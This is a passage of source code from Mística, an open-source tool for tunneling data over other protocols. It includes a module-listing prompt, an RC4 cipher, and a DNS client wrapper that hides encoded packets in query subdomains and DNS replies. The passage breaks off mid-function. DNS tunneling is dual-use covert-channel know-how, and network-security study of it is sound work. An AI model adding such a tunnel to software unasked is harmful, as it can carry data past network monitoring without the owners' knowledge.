{self.content}\"\n        if not self.isStreamMessage():\n            return \"Message is not a Stream Message\"\n        try:\n            p = Core.transformToPacket(self.content)\n            sid = p.session_id.uint\n            sq = p.seq_number.uint\n            ack = p.ack.uint\n            dl = p.data_len.uint\n            fl = p.flags.uint\n            oh = p.optional_headers\n            st = p.sync_type.uint if fl == 1 else 0\n            return f\"SID: {sid}, SQ: {sq}, ACK: {ack}, DL: {dl}, FL: {fl}, OH: {oh}, SYT: {st}\"\n        except Exception:\n            return f\"Message content is not a SOTP Packet {self.content}\"\n"
  },
  {
    "path": "utils/prompt.py",
    "content": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://github.com/IncideDigital/Mistica).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n#\n\nfrom sotp.misticathread import ClientOverlay, ClientWrapper, ServerOverlay, ServerWrapper\nfrom overlay.client import *\nfrom overlay.server import *\n#from wrapper.server.wrap_module import *\nfrom wrapper.client import *\nfrom argparse import ArgumentParser\n\n\nclass Prompt(object):\n    def __init__(self):\n        self.banner = \"[Mistica] >>> \"\n\n    def GetFromStdin(self):\n        data = input(self.banner)\n        return data\n\n    @staticmethod\n    def listModules(type, lst):\n        if lst == \"overlays\":\n            output = Prompt.listOverlays(type)\n        elif lst == \"wrappers\":\n            output = Prompt.listWrapModules(type)\n        else:\n            output = Prompt.listOverlays(type)\n            output = output + Prompt.listWrapModules(type)\n        return output\n\n    @staticmethod\n    def listOverlays(type):\n        if type == \"server\":\n            overlaylist = [x for x in ServerOverlay.__subclasses__()]\n        else:\n            overlaylist = [x for x in ClientOverlay.__subclasses__()]\n        overlaydict = {}\n        for elem in overlaylist:\n            overlaydict[elem.NAME] = elem.CONFIG[\"description\"]\n        output = \"\\nOverlay modules:\\n\\n\"\n        for k in sorted(overlaydict):\n            output = output + \"- {}: {}\\n\".format(k, overlaydict[k])\n        return output\n\n\n    @staticmethod\n    def listWrapModules(type):\n        if type == \"server\":\n            overlaylist = [x for x in ServerWrapper.__subclasses__()]\n        else:\n            overlaylist = [x for x in ClientWrapper.__subclasses__()]\n        wmdict = {}\n        for elem in overlaylist:\n            wmdict[elem.NAME] = elem.CONFIG[\"description\"]\n        output = \"\\nWrap modules:\\n\\n\"\n        for k in sorted(wmdict):\n            output = output + \"- {}: {}\\n\".format(k, wmdict[k])\n        return output\n\n    @staticmethod\n    def listParameters(type, lst):\n        module = Prompt.findModule(type, lst)\n        if not module:\n            return f\"Module {lst} does not exist\"\n        argparser = Prompt.generateArgParser(module)\n        try:\n            argparser.parse_args([\"-h\"])\n        except SystemExit:\n            pass\n        try:\n            ws = module.SERVER_CLASS\n        except Exception:\n            ws = None\n        if ws:\n            print(f\"\\n{lst} uses {ws.NAME} as wrap server\\n\")\n            argparser = Prompt.generateArgParser(ws)\n            try:\n                argparser.parse_args([\"-h\"])\n            except SystemExit:\n                pass\n\n    @staticmethod\n    def findModule(type, lst):\n        if type == \"server\":\n            for x in ServerWrapper.__subclasses__():\n                if x.NAME == lst:\n                    return x\n            for x in ServerOverlay.__subclasses__():\n                if x.NAME == lst:\n                    return x\n        for x in ClientWrapper.__subclasses__():\n                if x.NAME == lst:\n                    return x\n        for x in ClientOverlay.__subclasses__():\n            if x.NAME == lst:\n                return x\n        return None\n    \n    @staticmethod\n    def generateArgParser(module):\n        config = module.CONFIG\n\n        parser = ArgumentParser(prog=config[\"prog\"],description=config[\"description\"])\n        for arg in config[\"args\"]:\n            for name,field in arg.items():\n                opts = {}\n                for key,value in field.items():\n                    opts[key] = value\n                parser.add_argument(name, **opts)\n        return parser\n"
  },
  {
    "path": "utils/rc4.py",
    "content": "#\n# MIT License\n# \n# Copyright (c) 2018 David Buchanan\n# \n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n# \n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n# \n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n#\n\nclass RC4:\n    \"\"\"\n    https://github.com/DavidBuchanan314/rc4\n    \n    This class implements the RC4 streaming cipher.\n    \n    Derived from http://cypherpunks.venona.com/archive/1994/09/msg00304.html\n    \"\"\"\n\n    def __init__(self, key, streaming=True):\n        assert(isinstance(key, (bytes, bytearray)))\n\n        # key scheduling\n        S = list(range(0x100))\n        j = 0\n        for i in range(0x100):\n            j = (S[i] + key[i % len(key)] + j) & 0xff\n            S[i], S[j] = S[j], S[i]\n        self.S = S\n\n        # in streaming mode, we retain the keystream state between crypt()\n        # invocations\n        if streaming:\n            self.keystream = self._keystream_generator()\n        else:\n            self.keystream = None\n\n    def crypt(self, data):\n        \"\"\"\n        Encrypts/decrypts data (It's the same thing!)\n        \"\"\"\n        assert(isinstance(data, (bytes, bytearray)))\n        keystream = self.keystream or self._keystream_generator()\n        return bytes([a ^ b for a, b in zip(data, keystream)])\n\n    def _keystream_generator(self):\n        \"\"\"\n        Generator that returns the bytes of keystream\n        \"\"\"\n        S = self.S.copy()\n        x = y = 0\n        while True:\n            x = (x + 1) & 0xff\n            y = (S[x] + y) & 0xff\n            S[x], S[y] = S[y], S[x]\n            i = (S[x] + S[y]) & 0xff\n            yield S[i]"
  },
  {
    "path": "wrapper/client/__init__.py",
    "content": "__all__ = [\"http\", \"dns\", \"icmp\"]"
  },
  {
    "path": "wrapper/client/dns.py",
    "content": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://github.com/IncideDigital/Mistica).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n#\nfrom sotp.misticathread import ClientWrapper\nfrom socket import socket,timeout,AF_INET,SOCK_DGRAM\nfrom struct import pack,unpack_from\nfrom os import getpid,path\nfrom collections import namedtuple\nfrom base64 import urlsafe_b64encode,urlsafe_b64decode\nfrom sotp.core import BYTE,Header,OptionalHeader,Sizes\n\nclass QTYPE(object):\n    A = 1\n    AAAA = 28 \n    CNAME = 5 \n    MX = 15 \n    NS = 2 \n    PTR = 12 \n    SOA = 6 \n    TXT = 16 \n\nclass SimpleDnsClient(object):\n    \"\"\"\n    This is an adaptation of the project:\n    https://github.com/vlasebian/simple-dns-client\n    \"\"\"\n\n    ### Tuples for message parts\n    Header = namedtuple(\"Header\", [\n        'x_id',\n        'qr',\n        'opcode',\n        'aa',\n        'tc',\n        'rd',\n        'ra',\n        'z',\n        'rcode',\n        'qdcount',\n        'ancount',\n        'nscount',\n        'arcount',\n        ])\n\n    Question = namedtuple(\"Question\", [\n        'qname',\n        'qtype',\n        'qclass',\n        ])\n\n    Answer = namedtuple(\"Answer\", [\n        'name',\n        'x_type',\n        'x_class',\n        'ttl',\n        'rdlength',\n        'rdata',\n        ])\n\n    Reply = namedtuple(\"Reply\", [\n        'header',\n        'question',\n        'answer',\n        ])\n\n    # Opcodes\n    QUERY = 0\n    IQUERY = 1\n    STATUS = 2\n\n    def __init__(self, servers, port, domain, query_timeout, name, logger):\n        self.servers = servers\n        self.port = port\n        self.domain = domain\n        self.name = name\n        self.query_timeout = query_timeout\n        # Logger parameters\n        self.logger = logger\n        self._LOGGING_ = False if logger is None else True\n\n    def create_header(self, opcode):\n        \"\"\" Function used to create a DNS query header.\n        \n        Args:\n            opcode = opcode of the query. It can take the following values:\n                QUERY = 0, IQUERY = 1, STATUS = 2\n\n        Returns:\n            The header\n\n        \"\"\"\n        header = b''\n        flags = b''\n\n        # Message ID\n        header += pack(\">H\", getpid())\n\n        # Flags (QR, opcode, AA, TC, RD, RA, Z, RCODE)\n        if opcode == self.QUERY:\n            # Standard DNS query\n            flags = 0b0000000100000000\n        elif opcode == self.IQUERY:\n            flags = 0b0000100100000000\n        elif opcode == self.STATUS:\n            flags = 0b0001000100000000\n\n        header += pack(\">H\", flags)\n\n        # QDCOUNT\n        header += pack(\">H\", 1)\n        # ANCOUNT\n        header += pack(\">H\", 0)\n        # NSCOUNT\n        header += pack(\">H\", 0)\n        # ARCOUNT\n        header += pack(\">H\", 0)\n\n        return header\n\n    def create_qname(self, domain_name):\n        \"\"\" Function used to transfrom URL from normal form to DNS form.\n\n        Args:\n            domain_name = URL that needs to be converted\n\n        Returns:\n            The URL in DNS form\n\n        Example:\n            3www7example3com0 to www.example.com\n\n        \"\"\"\n        qname = b''\n\n        split_name = domain_name.split(\".\")\n        for atom in split_name:\n            qname += pack(\">B\", len(atom))\n            qname += bytes(atom, 'utf-8')\n        qname += b'\\x00'\n        self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] create_qname() url to dns form qname: {qname}\")\n\n        return qname\n\n    def get_dns_query(self, domain_name, query_type):\n        \"\"\" Function used to create a DNS query question section.\n        \n        Args:\n            domain_name = the domain name that needs to be resolved\n            query_type = the query type of the DNS message\n\n        Returns:\n            The DNS query question section and the length of the qname in a tuple\n            form: (question, qname_len)\n\n        \"\"\"\n        # QNAME\n        qname = self.create_qname(domain_name)\n        self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] get_dns_query() query_type for request: {query_type}\")\n\n        code = 0\n        # QTYPE - query for A record\n        if query_type == \"A\":\n            # host address\n            code = 1\n        elif query_type == \"NS\":\n            # authoritative name server\n            code = 2\n        elif query_type == \"CNAME\":\n            # the canonical name for an alias\n            code = 5\n        elif query_type == \"SOA\":\n            # start of a zone of authority\n            code = 6\n        elif query_type == \"MX\":\n            # mail exchange\n            code = 15\n        elif query_type == \"TXT\":\n            # text strings\n            code = 16\n        #elif query_type == \"PTR\":\n        #    # domain name pointer\n        #    code = 12\n        #    print(\"[Error]: Not implemented. Exiting...\")\n        #    exit(1)\n        elif query_type == \"AAAA\":\n            # AAAA record\n            code = 28\n        else:\n            raise f\"Invalid query type {query_type}\"\n\n        qtype = pack(\">H\", code)\n\n        # QCLASS - internet\n        qclass = pack(\">H\", 1)\n\n        # whole question section\n        question = self.create_header(self.QUERY) + qname + qtype + qclass\n\n        return (question, len(qname))\n\n    def query_dns_server(self, packet):\n        \"\"\" Function used to create a UDP socket, to send the DNS query to the server\n            and to receive the DNS reply.\n\n        Args:\n            packet = the DNS query message\n        \n        Returns:\n            The reply of the server\n\n        If none of the servers in the dns_servers.conf sends a reply, the program\n        exits showing an error message.\n\n        \"\"\"\n        sock = socket(AF_INET, SOCK_DGRAM)\n        sock.settimeout(self.query_timeout)\n\n        for server_ip in self.servers:\n            got_response = False\n\n            try:\n                sock.sendto(packet, (server_ip, self.port))\n                recv = sock.recvfrom(1024)\n                if recv:\n                    got_response = True\n                    self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] query_dns_server() response from dns server {server_ip}:{self.port}\")\n                    break\n            except (timeout,Exception):\n                self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] query_dns_server() timeout expired for dns server {server_ip}:{self.port}\")\n                continue\n\n        if not got_response:\n            self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] query_dns_server() any response received from dns server list\")\n            raise \"No response recieved from any servers\"\n\n        return recv[0]\n\n    def extract_header(self, msg):\n        \"\"\" Function used to extract the header from the DNS reply message.\n            \n        Args:\n            msg: The message recieved from the DNS server\n\n        Returns:\n            The header of the reply as a Header namedtuple in the following\n            form: Header(x_id, qr, opcode, aa, tc, rd, ra, z, rcode, qdcount, \n            ancount, nscount, arcount)\n\n        \"\"\"\n        raw_header = unpack_from(\">HHHHHH\", msg, 0)\n\n        x_id = raw_header[0]\n        flags = raw_header[1]\n\n        qr = flags >> 15\n        opcode = (flags & 0x7800) >> 11\n        aa = (flags & 0x0400) >> 10\n        tc = (flags & 0x0200) >> 9\n        rd = (flags & 0x0100) >> 8\n        ra = (flags & 0x0080) >> 7\n        z = (flags & 0x0070) >> 4\n        rcode = (flags & 0x000f)\n\n        qdcount = raw_header[2]\n        ancount = raw_header[3]\n        nscount = raw_header[4]\n        arcount = raw_header[5]\n\n        return self.Header(x_id, qr, opcode, aa, tc, rd, ra, z, rcode, qdcount, ancount, nscount, arcount)\n\n    def convert_to_name(self, raw_name):\n        \"\"\" Function used to convert an url from dns form to normal form.\n\n        Args:\n            The dns form of the url\n\n        Returns:\n            The normal form of the url\n\n        Example: \n            3www7example3com0 to www.example.com\n\n        \"\"\"\n        # might not work as expected in some cases - todo\n        name = ''\n        for byte in raw_name:\n            if byte < 30:\n                name += '.'\n            else:\n                name += chr(int(byte))\n\n        name = name[1:-1]\n\n        return name\n    \n    def extract_question(self, msg, qname_len):\n        \"\"\" Function used to extract the question section from a DNS reply.\n            \n        Args:\n            msg: The message recieved from the DNS server\n            qname_len: The length of the name beign querried\n\n        Returns:\n            The question section of the reply as a Question namedtuple in the \n            following form: Question(qname, qtype, qclass)\n\n        \"\"\"\n        # 12 is len(header_section)\n        offset = 12\n\n        # qname\n        raw_qname = []\n        for i in range(0, qname_len):\n            byte = unpack_from(\">B\", msg, offset + i)[0]\n            raw_qname.append(byte)\n\n        qname = self.convert_to_name(raw_qname)\n        qtype = unpack_from(\">H\", msg, offset + qname_len)[0]\n        qclass = unpack_from(\">H\", msg, offset + qname_len + 2)[0]\n\n        return self.Question(qname, qtype, qclass)\n\n    def extract_name(self, msg, offset):\n        \"\"\" Function used to extract the name field from the answer section.\n\n        Args:\n            msg: The message recieved from the DNS server\n            offset: The number of bytes from the start of the message until the end\n                of the question section (or until the end of the last RR)\n            \n        Returns: \n            Tuple containing the name and number of bytes read.\n\n        \"\"\"\n        raw_name = []\n        bytes_read = 1\n        jump = False\n\n        while True:\n            byte = unpack_from(\">B\", msg, offset)[0]\n            if byte == 0:\n                offset += 1\n                break\n\n            # If the field has the first two bits equal to 1, it's a pointer\n            if byte >= 192:\n                next_byte = unpack_from(\">B\", msg, offset + 1)[0]\n                # Compute the pointer\n                offset = ((byte << 8) + next_byte - 0xc000) - 1\n                jump = True\n            else:\n                raw_name.append(byte)\n\n            offset += 1\n\n            if jump == False:\n                bytes_read += 1\n\n        raw_name.append(0)\n        if jump == True:\n            bytes_read += 1\n\n        name = self.convert_to_name(raw_name)\n\n        return (name, bytes_read)\n    \n    def extract_a_rdata(self, msg, offset, rdlength):\n        \"\"\" Function used to extract the RDATA from an A type message.\n            \n        Args:\n            msg: The message recieved from the DNS server\n            offset: The number of bytes from the start of the message until the end\n                of the question section (or until the end of the last RR)\n            rdlength: The length of the RDATA section\n\n        Returns:\n            The RDATA field of the answer section as a string (an IPv4 address).\n\n        \"\"\"\n        fmt_str = \">\" + \"B\" * rdlength\n        rdata = unpack_from(fmt_str, msg, offset)\n\n        ip = ''\n        for byte in rdata:\n            ip += str(byte) + '.'\n        ip = ip[0:-1]\n\n        return ip\n\n    def extract_ns_rdata(self, msg, offset, rdlength):\n        \"\"\" Function used to extract the RDATA from a NS type message.\n            \n        Args:\n            msg: The message recieved from the DNS server\n            offset: The number of bytes from the start of the message until the end\n                of the question section (or until the end of the last RR)\n            rdlength: The length of the RDATA section\n\n        Returns:\n            The RDATA field of the answer section as a string and the offset from\n            the start of the message until the end of the rdata field as a tuple:\n            (rdata, field)\n\n        \"\"\"\n        (name, bytes_read) = self.extract_name(msg, offset)\n        offset += bytes_read\n\n        return (name, offset)\n\n    def extract_cname_rdata(self, msg, offset, rdlength):\n        \"\"\" Function used to extract the RDATA from a CNAME type message.\n            \n        Args:\n            msg: The message recieved from the DNS server\n            offset: The number of bytes from the start of the message until the end\n                of the question section (or until the end of the last RR)\n            rdlength: The length of the RDATA section\n\n        Returns:\n            The RDATA field of the answer section as a string and the offset from\n            the start of the message until the end of the rdata field as a tuple:\n            (rdata, field)\n\n        \"\"\"\n        (name, bytes_read) = self.extract_name(msg, offset)\n        offset += bytes_read\n\n        return (name, offset)\n\n    def extract_soa_rdata(self, msg, offset, rdlength):\n        \"\"\" Function used to extract the RDATA from a SOA type message.\n            \n        Args:\n            msg: The message recieved from the DNS server\n            offset: The number of bytes from the start of the message until the end\n                of the question section (or until the end of the last RR)\n            rdlength: The length of the RDATA section\n\n        Returns:\n            The RDATA field of the answer section as a tuple of the following form:\n            (pns, amb, serial, refesh, retry, expiration, ttl)    \n\n        \"\"\"\n        # extract primary NS\n        (pns, bytes_read) = self.extract_name(msg, offset)\n        offset += bytes_read\n        # extract admin MB\n        (amb, bytes_read) = self.extract_name(msg, offset)\n        offset += bytes_read\n\n        aux = unpack_from(\">IIIII\", msg, offset)\n\n        serial = aux[0]\n        refesh = aux[1]\n        retry = aux[2]\n        expiration = aux[3]\n        ttl = aux[4]\n\n        return (pns, amb, serial, refesh, retry, expiration, ttl)\n\n    def extract_mx_rdata(self, msg, offset, rdlength):\n        \"\"\" Function used to extract the RDATA from a MX type message.\n            \n        Args:\n            msg: The message recieved from the DNS server\n            offset: The number of bytes from the start of the message until the end\n                of the question section (or until the end of the last RR)\n            rdlength: The length of the RDATA section\n\n        Returns:\n            The RDATA field of the answer section as a tuple of the following form:\n            (preference, mail_ex)\n\n        \"\"\"\n        preference = unpack_from(\">H\", msg, offset)\n        offset += 3\n        \n        fmt_str = \">\" + \"B\" * (rdlength - 5)\n        rdata = unpack_from(fmt_str, msg, offset)\n        mail_ex = ''\n        for byte in rdata:\n            mail_ex += chr(byte)\n        return (preference, mail_ex)\n\n    def extract_aaaa_rdata(self, msg, offset, rdlength):\n        \"\"\" Function used to extract the RDATA from an AAAA type message.\n            \n        Args:\n            msg: The message recieved from the DNS server\n            offset: The number of bytes from the start of the message until the end\n                of the question section (or until the end of the last RR)\n            rdlength: The length of the RDATA section\n\n        Returns:\n            The RDATA field of the answer section (an IPv6 address as a string)\n\n        \"\"\"\n        fmt_str = \">\" + \"H\" * (rdlength / 2)\n        rdata = unpack_from(fmt_str, msg, offset)\n\n        ip = ''\n        for short in rdata:\n            ip += format(short, 'x') + ':'\n        ip = ip[0:-1]\n\n        return ip\n\n    def extract_txt_rdata(self, msg, offset, msglength):\n        try:\n            records = []\n            datn = msg[offset:]\n            cont = offset\n            while msglength > cont:\n                rlen = unpack_from(\">B\", datn)[0]\n                datn = datn[1:]\n                records.append(datn[:rlen])\n                rlen += 12 # skipping unknowing things\n                cont += rlen + 1\n                datn = datn[rlen:]\n            return records\n        except Exception:\n            return []\n\n    def extract_answer(self, msg, offset):\n        \"\"\" Function used to extract a RR from a DNS reply.\n            \n        Args:\n            msg: The message recieved from the DNS server\n            offset: The number of bytes from the start of the message until the end\n                of the question section (or until the end of the last RR)\n\n        Returns:\n            The resource record section of the reply that begins at the given offset\n            and the offset from the start of the message to where the returned RR\n            ends in the following form: (Answer(name, x_type, x_class, ttl, rdlength, \n            rdata), offset)\n\n        If the DNS Response is not implemented or recognized, an error message is\n        shown and the program will exit.\n\n        \"\"\"\n        (name, bytes_read) = self.extract_name(msg, offset)\n        offset = offset + bytes_read\n\n        aux = unpack_from(\">HHIH\", msg, offset)\n        offset = offset + 10\n\n        x_type = aux[0]\n        x_class = aux[1]\n        ttl = aux[2]\n        rdlength = aux[3]\n\n        rdata = ''\n        if x_type == 1:\n            # A type\n            rdata = self.extract_a_rdata(msg, offset, rdlength)\n            offset = offset + rdlength\n            self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] extract_answer() with qtype A, rdata: {rdata}\")\n        elif x_type == 2:\n            # NS type\n            rdata = self.extract_ns_rdata(msg, offset, rdlength)\n            offset = offset + rdlength\n            self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] extract_answer() with qtype NS, rdata: {rdata}\")\n        elif x_type == 5:\n            # CNAME type\n            rdata = self.extract_cname_rdata(msg, offset, rdlength)\n            offset = offset + rdlength\n            self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] extract_answer() with qtype CNAME, rdata: {rdata}\")\n        elif x_type == 6:\n            # SOA type\n            rdata = self.extract_soa_rdata(msg, offset, rdlength)\n            offset = offset + rdlength\n            self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] extract_answer() with qtype SOA, rdata: {rdata}\")\n        elif x_type == 15:\n            # MX type\n            rdata = self.extract_mx_rdata(msg, offset, rdlength)\n            offset = offset + rdlength\n            self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] extract_answer() with qtype MX, rdata: {rdata}\")\n        elif x_type == 28:\n            # AAAA type\n            rdata = self.extract_aaaa_rdata(msg, offset, rdlength)\n            offset = offset + rdlength\n            self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] extract_answer() with qtype AAAA, rdata: {rdata}\")\n        elif x_type == 16:\n            # TXT type\n            rdata = self.extract_txt_rdata(msg, offset, len(msg))\n            offset = offset + rdlength\n            self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] extract_answer() qtype TXT, rdata: {rdata}\")\n        else:\n            self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] extract_answer() unexpected qtype value: {x_type}\")\n            raise f\"DNS Response not recognized (type {str(x_type)})\"\n\n        return (self.Answer(name, x_type, x_class, ttl, rdlength, rdata), offset)    \n    \n    def parse_answer(self, msg, qname_len):\n        \"\"\" Function used to parse the DNS reply message.\n            \n        Args:\n            msg: The message recieved from the DNS server\n            qname_len: The length of the name beign querried\n\n        Returns:\n            The DNS reply message as a Reply namedtuple in the following\n            form: (Header, Question, [Answer]).\n\n        \"\"\"\n        header = self.extract_header(msg)\n        question = self.extract_question(msg, qname_len)\n        # 12 is header length and 4 is len(qtype) + len(qclass)\n        offset = 12 + qname_len + 4 \n        answer = []\n        for _ in range(header.ancount):\n            (a, offset) = self.extract_answer(msg, offset)\n            answer.append(a)\n        for _ in range(header.nscount):\n            (a, offset) = self.extract_answer(msg, offset)\n            answer.append(a)\n        for _ in range(header.arcount):\n            (a, offset) = self.extract_answer(msg, offset)\n            answer.append(a)\n        return self.Reply(header, question, answer)\n\n    def tuple_str(self, t):\n        \"\"\" Auxiliary function used for turning a tuple into a string.\n\n        Args:\n            The tuple\n\n        Returns:\n            The string form of the tuple\n\n        \"\"\"\n        res = ''\n        for i in t:\n            res += str(i) + ' '\n        return res\n\n    def parse_rdata_entries(self, reply):\n        for entry in reply.answer:\n            if entry.x_type == QTYPE.NS:\n                subdomain = str(entry.rdata[0])\n                data_from_subdomain = subdomain.replace(f\".{self.domain}\",\"\")\n                return data_from_subdomain\n            elif entry.x_type == QTYPE.CNAME:\n                subdomain = str(entry.rdata[0])\n                data_from_subdomain = subdomain.replace(f\".{self.domain}\",\"\")\n                return data_from_subdomain\n            elif entry.x_type == QTYPE.SOA:\n                subdomain = str(entry.rdata[0])\n                data_from_subdomain = subdomain.replace(f\".{self.domain}\",\"\")\n                return data_from_subdomain\n            elif entry.x_type == QTYPE.MX:\n                subdomain = str(entry.rdata[1])\n                data_from_subdomain = subdomain.replace(f\".{self.domain}\",\"\")\n                return data_from_subdomain\n            elif entry.x_type == QTYPE.TXT:\n                # wait for only one rdata entry (but maybe could split sotp packet in multiple rdata entries)\n                return \"\".join(r.decode(\"utf-8\", \"ignore\") for r in entry.rdata)\n        else:\n            # queries A and AAAA (Ipv4 and Ipv6 not contempled yet)\n            self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] parse_rdata_entries() invalid rdata type: {entry.x_type}\")\n            raise \"No entries in rdata section\"\n\n\nclass dns(ClientWrapper):\n\n    NAME = \"dns\"\n    CONFIG = {\n        \"prog\": NAME,\n        \"description\": \"Encodes/Decodes data in DNS queries/responses using different methods.\",\n        \"args\": [\n            {\n                \"--domain\": {\n                    \"help\": \"Domain Name for querying (Ex: mistica.dev)\",\n                    \"nargs\": 1,\n                    \"default\": [\"mistica.dev\"],\n                    \"type\": str\n                },\n                \"--hostname\": {\n                    \"help\": \"Server Resolver Addresses (Ex: 8.8.8.8, 1.1.1.1, etc)\",\n                    \"nargs\": \"*\",\n                    \"default\": [\"127.0.0.1\",\"1.1.1.1\",\"8.8.8.8\",\"8.8.4.4\"],\n                    \"type\": str\n                },\n                \"--port\": {\n                    \"help\": \"Server Resolver Port (Ex: 5355)\",\n                    \"nargs\": 1,\n                    \"default\": [5355],\n                    \"type\":  int\n                },\n                \"--query\": {\n                    \"help\": \"Type of DNS Query (NS,CNAME,SOA,MX,TXT) not supported (A,AAAA) yet\",\n                    \"nargs\": 1,\n                    \"default\": [\"TXT\"],\n                    \"choices\": [\"NS\",\"CNAME\",\"SOA\",\"MX\",\"TXT\"],\n                    \"type\": str\n                },\n                \"--query-timeout\": {\n                    \"help\": \"Timeout in second to wait for a socket reply.\",\n                    \"nargs\": 1,\n                    \"default\": [1],\n                    \"type\":  int\n                },\n                \"--multiple\": {\n                    \"help\": \"Split sotp packet in multiple subdomain octects.\",\n                    \"action\": \"store_true\"\n                },\n                \"--max-size\": {\n                    \"help\": \"Maximum size in bytes of the sotp packet to be embedded in the dns packet. Not recommended change it (37 bytes for simple mode and 169 bytes for multiple mode, read doc for why)\",\n                    \"nargs\": 1,\n                    \"default\": [37],\n                    \"type\":  int\n                },\n                \"--poll-delay\": {\n                    \"help\": \"Time in seconds between pollings (in order not to saturate when not transmitting)\",\n                    \"nargs\": 1,\n                    \"default\": [3],\n                    \"type\":  int\n                },\n                \"--response-timeout\": {\n                    \"help\": \"Waiting time in seconds for wrapper data.\",\n                    \"nargs\": 1,\n                    \"default\": [2],\n                    \"type\":  int\n                },\n                \"--max-retries\": {\n                    \"help\": \"Maximum number of re-synchronization retries.\",\n                    \"nargs\": 1,\n                    \"default\": [100],\n                    \"type\":  int\n                }\n            }\n        ]\n    }\n\n    \n    MAX_RFC_DOMAIN_LEN = 255                 # see rfc1035 \n    MAX_DOMAIN_LEN = MAX_RFC_DOMAIN_LEN - 2  # external dotted-label specification\n    MAX_SUBDOMAIN_LEN = 63                   # see rfc1035\n\n    def __init__(self, qsotp, args, logger):\n        ClientWrapper.__init__(self,type(self).__name__,qsotp,logger)\n        self.args = args\n        self.name = type(self).__name__\n        self.exit = False\n        # Parse arguments\n        self.domain = None\n        self.hostname = None\n        self.port = None\n        self.query = None\n        self.query_timeout = None\n        self.multiple = None\n        # Base arguments\n        self.max_size = None\n        self.poll_delay = None\n        self.response_timeout = None\n        self.max_retries = None\n        self.parseArguments(args)\n        # Dnsclient parameters\n        self.dnsclient = SimpleDnsClient(self.hostname,self.port, self.domain, self.query_timeout, self.name, self.logger)\n        # Logger parameters\n        self.logger = logger\n        self._LOGGING_ = False if logger is None else True\n\n    # needed to check max size depending of method used for embed sotp data in dns requests.\n    def checkMaxProtoSize(self,max_size,domain,multiple):\n        if multiple:\n            headerlen = int(Sizes.HEADER/BYTE)\n            encmaxsizelen = len(urlsafe_b64encode(b'A' * (headerlen + max_size)))\n            domainlen = len(domain) + 1\n            numpoints = int(encmaxsizelen/self.MAX_SUBDOMAIN_LEN)\n            totalen = (encmaxsizelen + numpoints) + domainlen\n            self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] checkMaxProtoSize() headerlen:{headerlen}, encmaxsizelen:{encmaxsizelen},domainlen+1:{domainlen},numpoints:{numpoints},totalen:{totalen}\")\n\n            if totalen > self.MAX_DOMAIN_LEN:\n                raise BaseException(f\"Total Length is {totalen} and max available for this module is {self.MAX_DOMAIN_LEN}. Please, reduce max_size value or use a shorter domain\")\n        else:\n            headerlen = int(Sizes.HEADER/BYTE)\n            totalen = len(urlsafe_b64encode(b'A' * (headerlen + max_size)))\n            self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] checkMaxProtoSize() headerlen:{headerlen},max_size:{max_size},totalen:{totalen}\")\n\n            if totalen > self.MAX_SUBDOMAIN_LEN:\n                raise BaseException(f\"Total Length is {totalen} and max available for this module is {self.MAX_SUBDOMAIN_LEN}. Please, reduce max_size value or use --multiple parameter\")\n\n    def parseArguments(self, args):\n        args = self.argparser.parse_args(args.split())\n        self.domain = args.domain[0]\n        self.hostname = args.hostname\n        self.port = args.port[0]\n        self.query = args.query[0]\n        self.query_timeout = args.query_timeout[0]\n        self.multiple = args.multiple\n        self.max_size = args.max_size[0]\n        self.poll_delay = args.poll_delay[0]\n        self.response_timeout = args.response_timeout[0]\n        self.max_retries = args.max_retries[0]\n        self.checkMaxProtoSize(self.max_size,self.domain, self.multiple)\n\n    def splitInMultipleSubdomains(self, sotpdata):\n        lendata = len(sotpdata)\n        complete = \"\"\n        for i in 